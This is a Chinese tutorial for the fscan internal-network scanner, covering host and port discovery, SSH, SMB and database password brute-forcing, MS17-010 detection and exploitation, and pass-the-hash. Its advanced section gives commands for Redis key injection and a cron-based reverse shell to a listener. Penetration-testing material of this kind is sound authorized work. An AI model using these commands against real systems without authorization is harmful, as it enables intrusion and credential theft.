从安装配置到高级实战,系统掌握这款一键化、全方位的内网漏扫扫描神器——覆盖主机探测、端口扫描、密码爆破、漏洞检测与 Web 扫描全流程。
| 属性 | 说明 |
|---|---|
| 开发语言 | Go |
| 所属计划 | 404 星链计划 2.0 |
| 平台支持 | Windows / Linux / macOS |
| 授权方式 | 开源免费 |
目录
1. 工具简介与核心功能
fscan 是一款用 Go 语言开发的内网综合扫描工具,主打"一键自动化、全方位漏扫扫描"。它将主机存活探测、端口扫描、常见服务爆破、高危漏洞检测、Web 指纹识别与漏洞扫描等功能整合到一个二进制文件中,无需复杂参数配置即可完成内网安全评估全流程,是 404Team 星链计划 2.0 的重要组成部分 [1]。
六大核心功能模块
| 模块 | 功能说明 |
|---|---|
| 信息搜集 | ICMP 存活探测、端口扫描,快速绘制内网资产画像 |
| 密码爆破 | SSH、SMB、RDP 服务爆破,以及 MySQL、MSSQL、Redis、PostgreSQL、Oracle 等数据库密码爆破 |
| 漏洞检测 | MS17-010(永恒之蓝)、NetBIOS 探测、域控识别、获取目标网卡信息等高危漏洞扫描 |
| Web 探测 | Web 标题探测、指纹识别(常见 CMS、OA 框架)、Web 漏洞扫描(支持 xray POC) |
| 漏洞利用 | Redis 写公钥 / 写计划任务反弹 Shell、SSH 命令执行、MS17-010 植入 Shellcode |
| 结果保存 | 扫描结果自动保存到文件(默认 result.txt),支持 JSON 格式输出与静默扫描模式 |
典型扫描流程
存活探测 (ICMP) → 端口扫描 → 服务识别 → 密码爆破 → 漏洞检测 → Web 扫描 → 结果保存
2. 安装与配置
方式一:下载预编译版本(推荐)
访问 GitHub Release 页面,下载对应平台的二进制文件即可直接使用,无需安装依赖 [1]。
# Windows 系统
# 下载 fscan_windows_amd64.exe,重命名为 fscan.exe
# Linux 系统
chmod +x fscan_linux_amd64
mv fscan_linux_amd64 fscan
# macOS 系统
chmod +x fscan_darwin_amd64
mv fscan_darwin_amd64 fscan
方式二:源码编译
确保已安装 Go 1.16+ 环境,然后克隆项目并编译:
# 克隆项目源码
git clone https://github.com/shadow1ng/fscan.git
cd fscan
# 编译项目(-s -w 去除调试信息,-trimpath 去除路径信息)
go build -ldflags="-s -w" -trimpath main.go
# 可选:使用 UPX 压缩减小文件体积
upx -9 fscan
方式三:Arch Linux 安装
yay -S fscan-git # 或 paru -S fscan-git
⚠️ 权限提示:ICMP 主机探测等部分功能需要 root / 管理员权限。Linux/macOS 使用
sudo ./fscan,Windows 以管理员身份运行命令提示符。
3. 快速上手
最简单的用法——对目标 IP 进行全功能扫描(默认使用所有模块):
fscan.exe -h 192.168.1.1/24
这条命令会自动执行存活探测、端口扫描、服务爆破、MS17-010 检测、Web 指纹识别与 POC 扫描等全部流程,结果保存到当前目录的 result.txt。
常用扫描场景速查
| 场景 | 命令 | 说明 |
|---|---|---|
| 全功能扫描 C 段 | fscan -h 192.168.1.1/24 |
默认使用全部模块 |
| B 段扫描 | fscan -h 192.168.1.1/16 |
扫描整个 B 段 |
| A 段快速侦察 | fscan -h 192.168.1.1/8 |
扫描每个 C 段的网关和数个随机 IP |
| 多 IP 扫描 | fscan -h 192.168.1.1,192.168.1.2 |
逗号分隔多个 IP |
| IP 范围扫描 | fscan -h 192.168.1.1-255 |
支持 IP 范围格式 |
| 从文件导入目标 | fscan -hf ip.txt |
每行一个目标 |
| 扫描单个 URL | fscan -u http://example.com |
仅 Web 扫描 |
| 轻量扫描 | fscan -h 192.168.1.1/24 -nobr -nopoc |
跳过爆破和 Web POC,减少流量 |
4. 主机存活探测
存活探测是扫描的第一步,fscan 默认使用 ICMP 协议探测目标主机是否在线。可通过参数灵活控制探测方式。
ICMP 探测
# 对整个 C 段进行 ICMP 存活探测
fscan.exe -h 192.168.1.0/24 -m icmp
# 探测 B 段并显示 Top 10 活跃网段
fscan.exe -h 192.168.0.0/16 -m icmp -top 10
# A 段探测:自动扫描每个 C 段的网关和随机 IP
fscan.exe -h 192.0.0.0/8 -m icmp
💡 提示:扫
/8网段时,fscan 会自动探测每个 C 段的网关和数个随机 IP,并统计 Top 10 的 B、C 段存活数量,适合快速了解大型网络环境。
Ping 探测
当 ICMP 原始套接字不可用或权限受限时,可使用系统 ping 命令替代:
fscan.exe -h 192.168.1.0/24 -ping
跳过存活探测
如果已知目标在线,或从外部已获取存活主机列表,可以跳过存活探测直接进入端口扫描:
fscan.exe -h 192.168.1.0/24 -np
5. 端口扫描
fscan 默认扫描以下常用端口:
21,22,80,81,135,139,443,445,1433,3306,5432,6379,7001,8000,8080,8089,9000,9200,11211,27017
端口指定方式
# 扫描指定端口
fscan.exe -h 192.168.1.0/24 -p 22
# 扫描端口范围
fscan.exe -h 192.168.1.0/24 -p 1-65535
# 扫描多个端口
fscan.exe -h 192.168.1.0/24 -p 22,80,3306,6379
# 新增端口(在默认端口基础上追加)
fscan.exe -h 192.168.1.0/24 -pa 3389
# 跳过指定端口
fscan.exe -h 192.168.1.0/24 -pn 445
超时与线程控制
# 设置端口扫描超时时间(默认 3 秒)
fscan.exe -h 192.168.1.0/24 -time 5
# 设置扫描线程数(默认 600)
fscan.exe -h 192.168.1.0/24 -t 200
# 设置 Web 访问超时时间(默认 5 秒)
fscan.exe -h 192.168.1.0/24 -wt 8
⚠️ 流量注意:线程数默认 600,内网环境可适当提高。但如果设置过高(如
-t 1000)可能触发流量监控导致 IP 被封,需根据实际网络环境权衡 [2]。
6. 密码爆破
fscan 支持对多种服务和数据库进行弱口令爆破,包括 SSH、SMB、RDP、MySQL、MSSQL、Redis、PostgreSQL、Oracle 等。
指定爆破模块
# 仅对 SSH 进行爆破
fscan.exe -h 192.168.1.0/24 -m ssh
# 指定 SSH 模块和端口
fscan.exe -h 192.168.1.0/24 -m ssh -p 2222
# SMB 密码碰撞
fscan.exe -h 192.168.1.0/24 -m smb -pwd password
# SMB 域用户爆破(指定域名)
fscan.exe -h 192.168.1.0/24 -m smb -domain WORKGROUP
自定义用户名与密码字典
# 指定单个用户名和密码
fscan.exe -h 192.168.1.0/24 -m ssh -user admin -pwd 123456
# 加载用户名和密码文件
fscan.exe -h 192.168.1.0/24 -pwdf pwd.txt -userf users.txt
# 在原有字典基础上追加用户名和密码
fscan.exe -h 192.168.1.0/24 -usera test,guest -pwda admin123,test123
# 使用 SSH 私钥连接
fscan.exe -h 192.168.1.0/24 -m ssh -sshkey id_rsa
💡 密码字典技巧:密码文件支持
{user}占位符。如果密码文件中包含{user}123,会自动替换为实际用户名加123,实现基于用户名的密码组合猜测。
跳过爆破
在不需要爆破的场景下,使用 -nobr 跳过所有密码爆破以减少流量和扫描时间:
fscan.exe -h 192.168.1.0/24 -nobr
7. 漏洞检测与利用
MS17-010(永恒之蓝)检测
MS17-010 是影响广泛的 Windows SMB 远程代码执行漏洞,fscan 可快速批量检测内网中存在该漏洞的主机:
# 仅检测 MS17-010
fscan.exe -h 192.168.1.0/24 -m ms17010
MS17-010 漏洞利用
fscan 内置了 MS17-010 的利用模块(植入 Shellcode),可执行添加用户等操作。但官方建议仅将其作为备选工具,更推荐使用专项利用工具:
# 使用内置添加用户功能
fscan.exe -h 192.168.1.0/24 -m ms17010 -sc add
⚠️ 使用建议:
-sc add等利用功能仅适用于备选场景。MS17-010 的深度利用推荐使用其他专项工具(如 MSF 等),fscan 主要定位为检测发现而非深度利用 [1]。
Hash 传递碰撞(PTH)
# 使用 NTLM Hash 进行 SMB 碰撞
fscan.exe -h 192.168.1.0/24 -m smb2 -user admin -hash xxxxx
# xxxxx 为 NTLM Hash,如 32ed87bdb5fdc5e9cba88547376818d4
WMI 无回显命令执行
fscan.exe -h 192.168.1.0/24 -m wmiexec -user admin -pwd password -c "whoami"
NetBIOS 探测与域控识别
# NetBIOS 探测、域控识别(输出中的 [+]DC 代表域控)
fscan.exe -h 192.168.1.0/24 -p 139
# 显示完整 NetBIOS 信息
fscan.exe -h 192.168.1.0/24 -m netbios
跳过 Web POC
如果不需要 Web 漏洞扫描,使用 -nopoc 跳过以减少流量:
fscan.exe -h 192.168.1.0/24 -nopoc
8. Web 扫描
fscan 的 Web 模块支持 Web 标题探测、指纹识别和漏洞扫描,并兼容 xray 的 POC。
Web 指纹识别
fscan 可识别常见 CMS、OA 框架等 Web 应用指纹。如果识别出指纹,会根据指纹信息发送对应的 POC;如果没有识别到指纹,才会把所有 POC 都尝试一遍 [1]。
Web 漏洞扫描(POC)
# 对目标进行 Web POC 扫描
fscan.exe -h 192.168.1.0/24
# 扫描单个 URL
fscan.exe -u http://example.com
# 批量扫描 URL(从文件导入)
fscan.exe -uf url.txt
# 指定 POC(模糊匹配名称)
fscan.exe -h 192.168.1.0/24 -pocname weblogic
# 指定自定义 POC 路径
fscan.exe -h 192.168.1.0/24 -pocpath /path/to/poc
# 设置 Web POC 发包速率(默认 20)
fscan.exe -h 192.168.1.0/24 -num 50
HTTP 代理设置
# 设置 HTTP 代理
fscan.exe -h 192.168.1.0/24 -proxy http://127.0.0.1:8080
# 设置 SOCKS5 代理(仅支持简单 TCP 功能)
fscan.exe -h 192.168.1.0/24 -socks5 127.0.0.1:1080
Cookie 与其他设置
# 设置 Cookie
fscan.exe -u http://example.com -cookie "session=abc123"
# 仅扫描 Web(跳过端口扫描,直接访问 HTTP)
fscan.exe -h 192.168.1.0/24 -m webonly
💡 POC 兼容性:fscan 内置了 xray POC 引擎,默认使用所有已筛选的 POC。支持 Weblogic、Struts2 等常见漏洞检测,也支持 shiro-key 识别(默认跑 10 个 key,可用
-full跑 100 个 key)。
9. 完整参数参考
以下是 fscan 的全部命令行参数说明,按功能分类整理 [1]。
目标与输入
| 参数 | 类型 | 说明 |
|---|---|---|
-h |
string | 目标 IP:192.168.11.11 | 192.168.11.11-255 | 192.168.11.11,192.168.11.12 |
-hf |
string | 从文件读取目标(支持 host:port 和 host/xx:port 格式) |
-hn |
string | 扫描时跳过的 IP,如 -hn 192.168.1.1/24 |
-u |
string | 指定 URL 扫描 |
-uf |
string | 指定 URL 文件扫描 |
扫描控制
| 参数 | 类型 | 默认值 | 说明 |
|---|---|---|---|
-m |
string | all | 设置扫描模式,如 -m ssh、-m ms17010、-m webonly |
-p |
string | 常用端口 | 设置扫描端口:22 | 1-65535 | 22,80,3306 |
-pa |
string | - | 新增扫描端口(在原端口基础上追加) |
-pn |
string | - | 跳过的端口,如 -pn 445 |
-t |
int | 600 | 扫描线程数 |
-time |
int | 3 | 端口扫描超时时间(秒) |
-wt |
int | 5 | Web 访问超时时间(秒) |
-num |
int | 20 | Web POC 发包速率 |
-debug |
int | 60 | 多久没响应就打印当前进度 |
-top |
int | 10 | 存活检测结果展示数量 |
扫描跳过控制
| 参数 | 说明 |
|---|---|
-np |
跳过存活探测 |
-ping |
使用 ping 代替 ICMP 进行存活探测 |
-nobr |
跳过 SQL、FTP、SSH 等的密码爆破 |
-nopoc |
跳过 Web POC 扫描 |
-skip |
跳过指纹识别 |
认证配置
| 参数 | 类型 | 说明 |
|---|---|---|
-user |
string | 指定爆破用户名 |
-pwd |
string | 指定爆破密码 |
-userf |
string | 用户名字典文件 |
-pwdf |
string | 密码字典文件 |
-usera |
string | 在原字典基础上新增用户名 |
-pwda |
string | 在原字典基础上新增密码 |
-domain |
string | SMB 爆破时设置域名 |
-sshkey |
string | SSH 连接时指定私钥 |
-hash |
string | NTLM Hash 碰撞,格式:xxxx:ntlmhash |
漏洞利用
| 参数 | 类型 | 说明 |
|---|---|---|
-c |
string | SSH 爆破成功后执行命令 |
-rf |
string | Redis 写公钥文件,如 -rf id_rsa.pub |
-rs |
string | Redis 计划任务反弹 Shell,如 -rs 192.168.1.1:6666 |
-sc |
string | MS17-10 利用模块 Shellcode,如 -sc add |
代理与输出
| 参数 | 类型 | 说明 |
|---|---|---|
-proxy |
string | 设置 HTTP 代理,如 -proxy http://127.0.0.1:8080 |
-socks5 |
string | 设置 SOCKS5 代理,如 -socks5 127.0.0.1:1080 |
-o |
string | 结果保存路径(默认 result.txt) |
-no |
- | 不保存结果到文件 |
-silent |
- | 静默扫描,适合 CS 扫描时不回显 |
-cookie |
string | 设置 Cookie |
-pocname |
string | 指定 Web POC 模糊名称 |
-pocpath |
string | 指定 POC 路径 |
10. 高级应用技巧
Redis 漏洞利用
写公钥获取权限
当发现 Redis 未授权访问时,可利用 Redis 写入 SSH 公钥,实现免密登录:
# 生成 SSH 密钥对
ssh-keygen -t rsa -f id_rsa
# 使用 fscan 批量写入公钥
fscan.exe -h 192.168.1.0/24 -rf id_rsa.pub
写计划任务反弹 Shell
# 需要先在攻击机监听端口
nc -lvnp 6666
# fscan 写入计划任务反弹 Shell
fscan.exe -h 192.168.1.0/24 -rs 192.168.1.101:6666
SSH 爆破后命令执行
爆破成功后可自动执行指定命令:
# 爆破成功后执行 whoami 和 id
fscan.exe -h 192.168.1.0/24 -c "whoami;id"
代理扫描隐藏流量
通过 SOCKS5 代理转发流量,可用于配合 CobaltStrike 等工具进行内网穿透:
fscan.exe -h 192.168.1.0/24 -socks5 127.0.0.1:1080
⚠️ 代理限制:SOCKS5 代理只支持简单 TCP 功能,部分功能库不支持设置代理,可能导致部分扫描项失效。
结果输出控制
# 指定结果保存路径
fscan.exe -h 192.168.1.0/24 -o /tmp/scan_result.txt
# JSON 格式输出
fscan.exe -h 192.168.1.0/24 -json
# 不保存文件(仅终端输出)
fscan.exe -h 192.168.1.0/24 -no
# 静默扫描模式
fscan.exe -h 192.168.1.0/24 -silent
# 禁用颜色输出
fscan.exe -h 192.168.1.0/24 -nocolor
端口分组扫描
较新版本支持端口分组功能,可按类别快速指定端口:
# 按分组指定端口
fscan.exe -h 192.168.1.0/24 -p db # 数据库端口
fscan.exe -h 192.168.1.0/24 -p web # Web 端口
fscan.exe -h 192.168.1.0/24 -p service # 服务端口
11. 实战应用案例
案例一:企业内网安全评估
一个完整的企业内网安全评估通常分为多个阶段,逐步深入 [2]:
第一阶段:资产发现 — 快速探测内网存活主机和活跃网段
fscan.exe -h 192.168.0.0/16 -m icmp -top 20 -o assets.txt
第二阶段:端口与服务扫描 — 对存活主机进行端口扫描和服务识别
fscan.exe -hf assets.txt -p 1-10000 -o ports.txt
第三阶段:漏洞检测 — 检测高危漏洞,但不进行 Web POC 扫描以减少流量
fscan.exe -hf ports.txt -m all -nopoc -o vulnerabilities.txt
第四阶段:弱口令检测 — 对常见服务和数据库进行密码爆破
fscan.exe -hf ports.txt -m ssh,smb,mysql,redis -o weak_passwords.txt
第五阶段:Web 应用扫描 — 对发现的 Web 服务进行指纹识别和漏洞扫描
fscan.exe -hf web_servers.txt -m webtitle,webpoc -o web_results.txt
案例二:渗透测试信息收集
在授权渗透测试中,使用 fscan 进行系统化信息收集:
# 第一阶段:快速侦察 C 段
fscan.exe -h 192.168.1.0/24 -m icmp -o phase1.txt
# 第二阶段:详细端口扫描
fscan.exe -hf phase1.txt -p 1-10000 -o phase2.txt
# 第三阶段:漏洞和弱口令并行检测
fscan.exe -hf phase2.txt -m ms17010,redis -o phase3_vulns.txt
fscan.exe -hf phase2.txt -m ssh,smb,mysql -o phase3_passwords.txt
# 第四阶段:Web 应用扫描
fscan.exe -uf web_targets.txt -m webtitle,webpoc -o phase4_web.txt
12. 性能优化建议
根据网络环境调整参数
| 环境 | 线程数 | 超时 | 建议 |
|---|---|---|---|
| 内网(低延迟) | -t 1000 |
-time 1 |
可使用较高并发,快速完成扫描 |
| 外网(高延迟) | -t 50~100 |
-time 10~15 |
降低并发,增加超时避免漏报 |
| 大规模网段 | -t 200 |
-time 3 |
分阶段扫描,避免对网络造成过大压力 |
| 隐蔽扫描 | -t 50 |
-time 5 |
低并发 + 静默模式 -silent |
减少流量的扫描策略
当需要控制流量时,可组合使用跳过参数:
# 跳过爆破和 Web POC,仅做基础探测
fscan.exe -h 192.168.1.0/24 -nobr -nopoc
# 跳过存活探测、不保存文件、跳过 Web POC
fscan.exe -h 192.168.1.0/24 -np -no -nopoc
根据系统资源调整
# 查看系统 CPU 核心数
nproc
# 参考并发数 = CPU 核心数 × 20
fscan.exe -h 192.168.1.0/24 -t 400
✅ 最佳实践:大规模扫描建议分阶段执行:先快速主机发现 → 再端口扫描 → 最后详细分析与漏洞检测。这样既能提高效率,又能避免一次性大流量扫描对网络造成冲击。
13. 常见问题
Q1:权限不足导致 ICMP 探测失败?
ICMP 原始套接字需要 root/管理员权限。Linux/macOS 使用 sudo ./fscan,Windows 以管理员身份运行命令提示符。或使用 -ping 参数改用系统 ping 命令。
Q2:扫描结果不准确或漏报?
可能原因及解决方案:
- 超时过短:增加超时时间
-time 10 - 并发过高:降低线程数
-t 100 - 网络不稳定:多次扫描交叉验证
- 防火墙拦截:尝试通过代理
-socks5转发
Q3:扫描速度太慢?
检查以下几点:
- 确认线程数是否合理(默认 600)
- 缩小端口范围,只扫必要端口
- 使用
-nobr -nopoc跳过耗时的爆破和 POC 扫描 - 分阶段扫描,避免全功能一次性扫描大网段
Q4:如何查看扫描进度?
使用 -debug 参数设置进度打印间隔(默认 60 秒),如果指定秒数内没有新进展会打印当前进度:
fscan.exe -h 192.168.1.0/24 -debug 10
Q5:默认端口列表是什么?
默认端口为:
21,22,80,81,135,139,443,445,1433,3306,5432,6379,7001,8000,8080,8089,9000,9200,11211,27017
覆盖了 FTP、SSH、HTTP、SMB、MSSQL、MySQL、PostgreSQL、Redis、WebLogic、Elasticsearch、Memcached、MongoDB 等常见服务。
14. 合规与免责声明
🔴 重要声明
fscan 仅面向合法授权的企业安全建设行为。如您需要测试本工具的可用性,请自行搭建靶机环境。
在使用本工具进行检测时,您应确保该行为符合当地的法律法规,并且已经取得了足够的授权。请勿对非授权目标进行扫描。
如您在使用本工具的过程中存在任何非法行为,您需自行承担相应后果,工具作者不承担任何法律及连带责任 [1]。
安全使用规范
- 授权测试:仅在获得明确书面授权的情况下使用
- 范围控制:严格按照授权范围设定扫描目标
- 时间窗口:在业务低峰期进行扫描,避免影响正常业务
- 数据保护:妥善保管扫描结果,敏感数据及时销毁
- 结果验证:对重要扫描结果进行人工验证,避免误报
参考来源
-
shadow1ng/fscan, GitHub 官方仓库 README。fscan 项目作者维护的原始文档,包含功能说明、使用方法、完整参数列表及免责声明。 https://github.com/shadow1ng/fscan
-
CarlowZJ, fscan 使用全攻略:从入门到精通。CSDN 博客,系统介绍 fscan 安装配置、核心功能、高级技巧与实战案例。 https://blog.csdn.net/csdn122345/article/details/155040140
评论区